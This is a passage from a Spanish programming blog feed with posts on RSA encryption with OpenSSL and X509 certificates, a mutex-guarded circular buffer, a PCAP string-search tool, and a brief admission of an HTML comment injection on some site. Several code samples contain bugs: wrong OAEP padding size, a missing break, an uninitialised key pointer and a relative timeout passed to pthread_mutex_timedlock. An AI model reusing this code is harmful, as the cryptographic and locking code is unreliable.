style="font-weight:bold;"&gt;"PEM_read_DSAPrivateKey"&lt;/span&gt; entre otras; igualmente el parámetro &lt;span style="font-weight:bold;"&gt;"void *u"&lt;/span&gt; también puede ser usado para especificar la frase, por ende la llamada podría realizarse de esta forma.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;PEM_read_X509( pfFile, &amp;pxCert, NULL, "MyPass");&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Obteniendo la llave publica&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ya que tenemos el certificado cargado podemos acceder a los diferentes valores del mismo, en  este caso nos interesa la llave pública que contiene, el problema radica en que las  funciones específicas para el cifrado mediante RSA requieren precisamente un objeto de tipo &lt;span style="font-weight:bold;"&gt;"RSA"&lt;/span&gt; lo cual no tenemos, aun así es fácilmente extraíble de la siguiente forma:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; RSA *prPublicKey = NULL;&lt;br /&gt; EVP_PKEY *pTmp = NULL;&lt;br /&gt; X509 *pxCert;&lt;br /&gt;&lt;br /&gt; pTmp = X509_get_pubkey( pxCert );&lt;br /&gt;&lt;br /&gt; X509_free( pxCert );&lt;br /&gt; pxCert = NULL;&lt;br /&gt;&lt;br /&gt; if (pTmp == NULL) {&lt;br /&gt;  SetErr( CRSA_ERR_OPEN_SSL_INTERNAL );&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if (prPublicKey != NULL) {&lt;br /&gt;  RSA_free( prPublicKey );&lt;br /&gt;  m_prPublicKey = NULL;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; prPublicKey = EVP_PKEY_get1_RSA( pTmp ); &lt;br /&gt;&lt;br /&gt; EVP_PKEY_free( pTmp );&lt;br /&gt;&lt;br /&gt; if (prPublicKey == NULL) {&lt;br /&gt;  SetErr( CRSA_ERR_OPEN_SSL_INTERNAL );&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return true;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Como vemos la función &lt;span style="font-weight:bold;"&gt;"X509_get_pubkey"&lt;/span&gt; nos permite extraer la llave pública como un objeto de tipo &lt;span style="font-weight:bold;"&gt;EVP_PKEY&lt;/span&gt; ( El cual nos es útil en otras instancias ) y a partir de este podemos  extraer la llave pública mediante &lt;span style="font-weight:bold;"&gt;"EVP_PKEY_get1_RSA"&lt;/span&gt; ya como un objeto &lt;span style="font-weight:bold;"&gt;"RSA"&lt;/span&gt; el cual es el  que vamos a usar directamente para el cifrado y descifrado de la información.&lt;br /&gt;Es de recalcar el que podemos exportar esta llave mediante otras funciones como lo es &lt;span style="font-weight:bold;"&gt;"PEM_write_PUBKEY"&lt;/span&gt;( Admite un objeto &lt;span style="font-weight:bold;"&gt;EVP_PKEY&lt;/span&gt; no &lt;span style="font-weight:bold;"&gt;RSA&lt;/span&gt; ), directamente es mejor almacenar los certificados que los exports generados por estas funciones debido a que el proceso de carga puede tener incompatibilidades dependientes de la API usada.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Cargando la llave Privada&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La llave privada en este caso la generamos en texto plano ( Que si coño que no se debe hacer  pero es un puto ejemplo ); así que el proceso de cargado de la misma no nos requiere mayor  problema, basta con:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bool CRSA::LoadPrivateKey( const char *pszFile )&lt;br /&gt;{&lt;br /&gt; FILE *pfFile = NULL;&lt;br /&gt; RSA *prPrivateKey;&lt;br /&gt;&lt;br /&gt; pfFile = fopen( pszFile, "r");&lt;br /&gt;&lt;br /&gt; if (pfFile == NULL) {&lt;br /&gt;  SetErr( CRSA_ERR_UNABLE_TO_OPEN_FILE );&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if (prPrivateKey == NULL) {&lt;br /&gt;  RSA_free( m_prPrivateKey );&lt;br /&gt;  m_prPrivateKey = NULL;&lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; prPrivateKey = PEM_read_RSAPrivateKey( pfFile, NULL, NULL, NULL);&lt;br /&gt;&lt;br /&gt; fclose( pfFile );&lt;br /&gt;&lt;br /&gt; if (prPrivateKey == NULL) {&lt;br /&gt;  SetErr( CRSA_ERR_OPEN_SSL_INTERNAL);&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return true;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Como vemos el método es sumamente sencillo, para tener en cuenta que el método usado para  cargar la llave es un método PEM precisamente porque la llave usa esta codificación;  también es posible el cargar llaves que están cifradas usando otros argumentos de la función;  el prototipo de la función es:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;RSA *PEM_read_RSAPrivateKey(FILE *fp, RSA **x, pem_password_cb *cb, void *u);&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Anteriormente ya se explico el cómo especificar una frase de password para cargar el archivo  así que continuemos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Cifrando y Descifrando&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bien ya tenemos como tal nuestras respectivas llaves y podemos realizar el proceso de cifrado y descifrado, ahora cabe anotar que existen 4 formas de realizar el cifrado con  OpenSSL, ateniéndonos al man page:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;RSA_PKCS1_PADDING:&lt;br /&gt;&lt;br /&gt;PKCS #1 v1.5 padding. This currently is the most widely used mode. &lt;br /&gt;&lt;br /&gt;RSA_PKCS1_OAEP_PADDING:&lt;br /&gt;&lt;br /&gt;EME-OAEP as defined in PKCS #1 v2.0 with SHA-1, MGF1 and an empty encoding parameter. This mode is recommended for all new applications. &lt;br /&gt;&lt;br /&gt;RSA_SSLV23_PADDING:&lt;br /&gt;&lt;br /&gt;PKCS #1 v1.5 padding with an SSL-specific modification that denotes that the server is SSL3  capable. &lt;br /&gt;&lt;br /&gt;RSA_NO_PADDING&lt;br /&gt;&lt;br /&gt;Raw RSA encryption. This mode should only be used to implement cryptographically sound  padding modes in the application code. Encrypting user data directly with RSA is insecure.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Especial cuidado en el ultimo modo que especifica el que &lt;span style="font-weight:bold;"&gt;RSA_NO_PADDING&lt;/span&gt; es inseguro al  arrojar siempre el mismo resultado para un texto cifrado haciendo posible ataques al mismo  de una forma mucho mas fácil, lo recomendable es combinarlo con alguno de los otros modos,  básicamente es el mismo concepto manejado por los diferentes modos de cifrado por bloque que se usan en criptografía simetrica.Ya que tenemos claro los diferentes modos podemos pasar al cómo usarlos ya que algunos involucran IV's dentro del mensaje y es un error común el implementarlos mal y desconocer la razón de por qué la librería retorna error al realizar la operación; así que primeramente debemos tener en cuenta el tamaño del bloque a cifrar ya que para cada modo es distinto, remitiéndonos a la documentación:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;flen must be less than RSA_size(rsa) - 11 for the PKCS #1 v1.5 based padding modes, less  than RSA_size(rsa) - 41 for RSA_PKCS1_OAEP_PADDING and exactly RSA_size(rsa) for  RSA_NO_PADDING. The random number generator must be seeded prior to calling  RSA_public_encrypt().&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Por ende podemos crear una función que nos calcule el tamaño del bloque mediante &lt;span style="font-weight:bold;"&gt;RSA_size&lt;/span&gt; y el modo que vamos a usar para cifrar de esta forma:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#define CRSA_PKCS1_PADDING_BYTES  11&lt;br /&gt;#define CRSA_PKCS1_OAEP_PADDING_BYTES  41&lt;br /&gt;&lt;br /&gt;int CRSA::GetSize( CRSA_PADDING cpMode )&lt;br /&gt;{&lt;br /&gt; int iRet = 0;&lt;br /&gt;&lt;br /&gt; if (m_prPublicKey != NULL)&lt;br /&gt;  iRet = RSA_size( m_prPublicKey );&lt;br /&gt;&lt;br /&gt; if (m_prPrivateKey != NULL)&lt;br /&gt;  iRet = RSA_size( m_prPrivateKey );&lt;br /&gt;&lt;br /&gt; if (iRet == 0) {&lt;br /&gt;  SetErr( CRSA_ERR_KEYS_MISSING );&lt;br /&gt;  return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; switch ( cpMode ) {&lt;br /&gt; case CRSA_NO_PADDING:&lt;br /&gt;  break;&lt;br /&gt; case CRSA_PKCS1_PADDING:&lt;br /&gt;  iRet -= CRSA_PKCS1_PADDING_BYTES;&lt;br /&gt;  break;&lt;br /&gt; case CRSA_PKCS1_OAEP_PADDING:&lt;br /&gt;  iRet -= CRSA_PKCS1_PADDING_BYTES;&lt;br /&gt; default:&lt;br /&gt;  SetErr( CRSA_ERR_INVALID_PARAMETERS );&lt;br /&gt;  return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return iRet;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;A tener en cuenta que &lt;span style="font-weight:bold;"&gt;RSA_size&lt;/span&gt; requiere una llave a fin de dar el tamaño en base a la misma  ( 1024 bits = 128 bytes ), luego realizamos la respectiva resta para obtener el tamaño de  bloque compatible con el modo que vamos a usar.&lt;br /&gt;Ya con esto creamos una implementación de cifrado compatible con los diversos tipos:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;int CRSA::EncryptBlock( u_char *pszSrc, int iLenght, u_char *pszDst, CRSA_PADDING cpMode)&lt;br /&gt;{&lt;br /&gt; int iRet = 0, iSize = 0;&lt;br /&gt;&lt;br /&gt; if (HavePublicKey() == false) {&lt;br /&gt;  SetErr( CRSA_ERR_PUBLIC_KEY_MISSING );&lt;br /&gt;  return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; iSize = GetSize( cpMode );&lt;br /&gt;&lt;br /&gt; if (pszSrc == NULL || iSize == 0 || iLenght &gt; iSize || pszDst == NULL) {&lt;br /&gt;  SetErr( CRSA_ERR_INVALID_PARAMETERS );&lt;br /&gt;  return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; memset( pszDst, 0x00, iSize + 1);&lt;br /&gt;&lt;br /&gt; iRet = RSA_public_encrypt( iLenght, pszSrc, pszDst, prPublicKey, cpMode);&lt;br /&gt;&lt;br /&gt; if (iRet == -1) {&lt;br /&gt;  SetErr( CRSA_ERR_OPEN_SSL_INTERNAL );&lt;br /&gt;  return 0;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return iRet;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Podemos ver que es relativamente simple el realizar la operaciones y que la función &lt;span style="font-weight:bold;"&gt;"RSA_public_encrypt"&lt;/span&gt; nos devolverá el tamaño del bloque cifrado, debemos recordar que este  será del mismo tamaño que la llave que estamos usando para cifrar.&lt;br /&gt;&lt;br /&gt;En el caso de descifrar vamos a realizar la misma operación solo que usando &lt;span style="font-weight:bold;"&gt;"RSA_private_decrypt"&lt;/span&gt;, en este caso debemos tener en cuenta que siempre vamos a leer bloques del tamaño dado por &lt;span style="font-weight:bold;"&gt;RSA_size&lt;/span&gt; y obviamente la salida según el método de padding va a ser menor a &lt;span style="font-weight:bold;"&gt;RSA_size&lt;/span&gt;, así que debemos asegurarnos de los tamaños de los buffers antes de  realizar cualquier operación.&lt;br /&gt;Es posible también el realizar el proceso inverso ( cifrar con la llave privada, descifrar con la pública ) mediante las funciones &lt;span style="font-weight:bold;"&gt;"RSA_private_encrypt"&lt;/span&gt; y &lt;span style="font-weight:bold;"&gt;"RSA_public_decrypt"&lt;/span&gt;, los prototipos de las mismas son exactamente iguales a las anteriores.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Finalizando&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ya para finalizar existen varias funciones que también resultan útiles como:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;RSA_check_key&lt;br /&gt;RSA_generate_key&lt;br /&gt;RSA_sign&lt;br /&gt;RSA_verify&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Sin más que añadir este es el final de articulo.&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;PD: Es una putada publicar en 2 lados la misma joda pero que las etiquetas sean diferentes ¬¬.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-5876434339628518067?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/5876434339628518067/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/01/rsa-certificados-x509-y-openssl.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5876434339628518067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5876434339628518067'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/01/rsa-certificados-x509-y-openssl.html' title='RSA, Certificados X509 y OpenSSL'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-7909991846738298910</id><published>2010-04-19T02:28:00.003-05:00</published><updated>2010-04-19T16:04:29.074-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Buffer Circular y algo de mutex en linux</title><content type='html'>Buenassssssssss, resultase que un buen día yo quería ser feliz y trabajar con pipes para sincronizar 2 threads, la vaina es que era en linux así que me dije "mi mismo, usemos pipes como en windows" y pues así fue, así que lalalala fui a ver pero no me daban las mismas facilidades que en windows, por ende solo quedaba una opción, codearme mi propia pipe así que comencemos.&lt;br /&gt;&lt;br /&gt;Primeramente ahi que especifica que en windows las pipes nos permiten definir en su creación un tamaño fijo para el buffer, esto es en gran medida una buena ventaja, aclarar que las pipes en todos los casos no son buenas y su performance puede llegar a ser terrorífico si lo miramos de cerca :P.&lt;br /&gt;&lt;br /&gt;Mi objetivo es simplemente intercambiar información entre threads de forma simple, la forma mas simple que se me vino a la mente era un buffer circular, que básicamente es un espacio de memoria de tamaño fijo.&lt;br /&gt;&lt;br /&gt;El problema que se presenta es como sincronizar threads de forma correcta mas cuando el buffer a de ser multiplataforma; por una parte vamos a usar Secciones criticas y sus respectivas funciones.&lt;br /&gt;&lt;br /&gt;En este caso nos valemos de macros para windows y linux:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#ifdef WIN32&lt;br /&gt;&lt;br /&gt;/** Define Critical Section type */&lt;br /&gt;typedef CRITICAL_SECTION SECTION_HANDLE;&lt;br /&gt;&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define INIT_SECTION( x ) InitializeCriticalSection( (x) )&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define DELETE_SECTION( x ) DeleteCriticalSection( (x) )&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define ENTER_SECTION( x ) EnterCriticalSection( (x) )&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define TRY_ENTER_SECTION( x ) TryEnterCriticalSection( (x) )&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define LEAVE_SECTION( x ) LeaveCriticalSection( (x) )&lt;br /&gt;#else&lt;br /&gt;/** Define Critical Section type in linux */&lt;br /&gt;typedef pthread_mutex_t  SECTION_HANDLE;&lt;br /&gt;&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define INIT_SECTION( x ) pthread_mutex_t n = PTHREAD_MUTEX_INITIALIZER; *(x) = n&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define DELETE_SECTION( x ) (x)&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define ENTER_SECTION( x ) pthread_mutex_lock( (x) )&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define TRY_ENTER_SECTION( x ) pthread_mutex_trylock( (x) ) ? 0 : 1&lt;br /&gt;/** Critical Sections macro */&lt;br /&gt;#define LEAVE_SECTION( x ) pthread_mutex_unlock( (x) )&lt;br /&gt;#endif&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Recordar que en linux las secciones criticas no necesitan ser eliminadas por ende no hay una función para ello, algo que puede representar un dolor de cabeza para muchos es la creación:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#define INIT_SECTION( x ) pthread_mutex_t n = PTHREAD_MUTEX_INITIALIZER; *(x) = n&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;lo definimos de esta forma debido a que por extraño que parezca y si mi memoria no me falla PTHREAD_MUTEX_INITIALIZER esta definido como un array lo cual es vayandole putada y debido a restricciones del lenguaje ( C++ ) no es posible hacerlo sin una variable auxiliar  :-\.&lt;br /&gt;&lt;br /&gt;Ya con estos macros solo nos queda entrar al buffer y realizar las operaciones, claro en caso de que ya halla alguien adentro seria un tanto encabronante el tener un deadlock; así que nos hacemos un waiter =D, realmente en linux no muchas personas saben como y resultan implementando verdaderas cochinadas, así que dejo mi implementación como mera y vana documentación xD.&lt;br /&gt;&lt;br /&gt;Write&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;int CBuffer::Write( const byte *pbtSrc, long lSize, u_int uiTimeout)&lt;br /&gt;{&lt;br /&gt; u_long ulTmp = 0;&lt;br /&gt;&lt;br /&gt; if (pbtSrc == NULL || lSize &lt;= 0 || lSize &gt; CBUFF_MAX_BUFF_SIZE)&lt;br /&gt;  return CBUFF_INVALID_PARAMS;&lt;br /&gt;&lt;br /&gt; if (WaitUnlock( uiTimeout ) == false)&lt;br /&gt;  return CBUFF_UNABLE_TO_LOCK;&lt;br /&gt;&lt;br /&gt; if (GetAvaliableWriteSize() &lt; lSize) {&lt;br /&gt;  Unlock();&lt;br /&gt;  return CBUFF_NOT_ENOUGH_SPACE;&lt;br /&gt; }&lt;br /&gt;....blablabla&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Read:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;int CBuffer::Read( byte *pbtDst, long lSize, u_int uiTimeout)&lt;br /&gt;{&lt;br /&gt; u_long ulTmp = 0;&lt;br /&gt;&lt;br /&gt; if (pbtDst == NULL || lSize &lt;= 0)&lt;br /&gt;  return CBUFF_INVALID_PARAMS;&lt;br /&gt;&lt;br /&gt; if (WaitUnlock( uiTimeout ) == false)&lt;br /&gt;  return CBUFF_UNABLE_TO_LOCK;&lt;br /&gt;&lt;br /&gt; if (GetAvaliableReadSize() &lt; lSize) {&lt;br /&gt;  Unlock();&lt;br /&gt;  return CBUFF_NOT_ENOUGH_SPACE;&lt;br /&gt; }&lt;br /&gt;....blablabla&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Y la parte que todos esperaban ( joder quien lee estas cosas? ) el waiter:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bool CBuffer::WaitUnlock( u_int uiTimeout )&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt; if (uiTimeout == 0 || IsLocked() == false)&lt;br /&gt;  return true;&lt;br /&gt;&lt;br /&gt; if (uiTimeout == CBUFF_INFINITE) {&lt;br /&gt;  ENTER_SECTION( &amp;m_shBuff );&lt;br /&gt;  return true;&lt;br /&gt; }&lt;br /&gt;#ifdef WIN32&lt;br /&gt; bool bRet = false;&lt;br /&gt; timeval tvInit;&lt;br /&gt;&lt;br /&gt; gettimeofday( &amp;tvInit, NULL);&lt;br /&gt;&lt;br /&gt; while(GetAndDiffTime( &amp;tvInit ) &lt; uiTimeout &amp;&amp; bRet == false) {&lt;br /&gt;  if ((bRet = TRY_ENTER_SECTION( &amp;m_shBuff )) != false)&lt;br /&gt;   break;&lt;br /&gt;  Sleep( CBUFF_WAIT_VRFY_TIME );&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return bRet;&lt;br /&gt;#else&lt;br /&gt; time_t tTemp = 0;&lt;br /&gt; timespec tsTime;&lt;br /&gt; int iRet = 0;&lt;br /&gt;&lt;br /&gt; memset( &amp;tsTime, 0x00, sizeof( timespec ));&lt;br /&gt;&lt;br /&gt; tsTime.tv_sec = tTemp = ((uiTimeout &gt; 1000) ? uiTimeout/1000 : 0);&lt;br /&gt; tsTime.tv_nsec = (uiTimeout - (tTemp * 1000)) * 1000000L;&lt;br /&gt; &lt;br /&gt; iRet = pthread_mutex_timedlock( &amp;m_shBuff, &amp;tsTime);&lt;br /&gt;&lt;br /&gt; return (!iRet);&lt;br /&gt;#endif&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Que hice una cochinada en Windows....si...después la arreglo ( No en serio xD ), y como que ya eso fue todo el post :P.&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-7909991846738298910?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/7909991846738298910/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/04/buffer-circular-y-algo-de-mutex-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7909991846738298910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7909991846738298910'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/04/buffer-circular-y-algo-de-mutex-en.html' title='Buffer Circular y algo de mutex en linux'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-6831657563878996738</id><published>2010-02-22T01:22:00.003-05:00</published><updated>2010-02-28T20:13:29.534-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consultoria'/><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>PCAP Finder</title><content type='html'>Bueno como se les prometió, pues se les have; post de pcap finder.&lt;br /&gt;&lt;br /&gt;Un buen día tenia que realizar análisis de mucho trafico de red para el work, así que como revisar 2 gb de trafico es mamón, pues uno tira a automatizar la vaina, así fue como nació PCAP Finder, que coños hace? muy fácil.&lt;br /&gt;&lt;br /&gt;PCAP Finder lo que hace es buscar cadenas en paquetes del archivo pcap que se le señale; dando como resultado un fichero de reporte señalando el numero de paquete y el offset donde encontró el string, la dirección mac de origen y destino, dirección ip de origen y destino y puerto de origen y destino, y ya eso es todo lo que hace, el dizque presidente de CUT dice que va a sacar versión molona integrada con plagui así que estaremos atentos a chingarle la vida, cualquier cosa posteo acá la versión "usable".&lt;br /&gt;&lt;br /&gt;Por el momento dejo la captura de la versión "privada":&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_zWBNoSB1aQA/S4sUmStpcHI/AAAAAAAAAFw/42LTpdP6tEc/s1600-h/temp.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 224px;" src="http://4.bp.blogspot.com/_zWBNoSB1aQA/S4sUmStpcHI/AAAAAAAAAFw/42LTpdP6tEc/s320/temp.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5443467222698258546" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PD: Cosas que faltan por hacer para los que programan ( para auto-recordarme básicamente ).&lt;br /&gt;* Soporte de todo lo demás que no es TCP xD.&lt;br /&gt;* Soporte de varias coincidencias en el mismo paquete.&lt;br /&gt;* Editor hexadecimal en la gui para escribir el string ( que ya soporta con nulos y too el cuento ).&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-6831657563878996738?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/6831657563878996738/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/02/pcap-finder.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/6831657563878996738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/6831657563878996738'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/02/pcap-finder.html' title='PCAP Finder'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_zWBNoSB1aQA/S4sUmStpcHI/AAAAAAAAAFw/42LTpdP6tEc/s72-c/temp.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-3045448915742745287</id><published>2010-02-09T13:18:00.003-05:00</published><updated>2010-02-09T14:03:40.055-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Yo'/><category scheme='http://www.blogger.com/atom/ns#' term='Y yo que se'/><title type='text'>hem ham</title><content type='html'>Pos a las 4 am uno anda como "que coños hago" entonces recuerda el incidente del SPAM y crash and burn :P.&lt;br /&gt;&lt;br /&gt;&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Wvl1li-Zy0U&amp;hl=es_ES&amp;fs=1&amp;rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Wvl1li-Zy0U&amp;hl=es_ES&amp;fs=1&amp;rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;PD: No soy defacer y casi nunca hago esto, ademas solo fue un htlm code injection en los comentarios, pudo a ver sido peor xD.&lt;br /&gt;&lt;br /&gt;Salu2&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-3045448915742745287?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/3045448915742745287/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2010/02/hem-ham.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/3045448915742745287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/3045448915742745287'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2010/02/hem-ham.html' title='hem ham'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-4177056453287284285</id><published>2010-02-06T21:19:00.001-05:00</published><updated>2010-02-06T21:19:41.072-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Manejo de Concurrencia en Windows</title><content type='html'>Con la llegada de los procesadores multi núcleo el mundo de la programación a dado un interesante giro para los desarrolladores, imponiendo nuevos retos y sobre todo mayores cuidados a la hora de manejar la sincronización entre hilos y procesos asíncronos, es por esta razón que escribo este artículo con el fin de dar una mirada general de los diferentes métodos de sincronización entre hilos en situaciones especificas.&lt;br 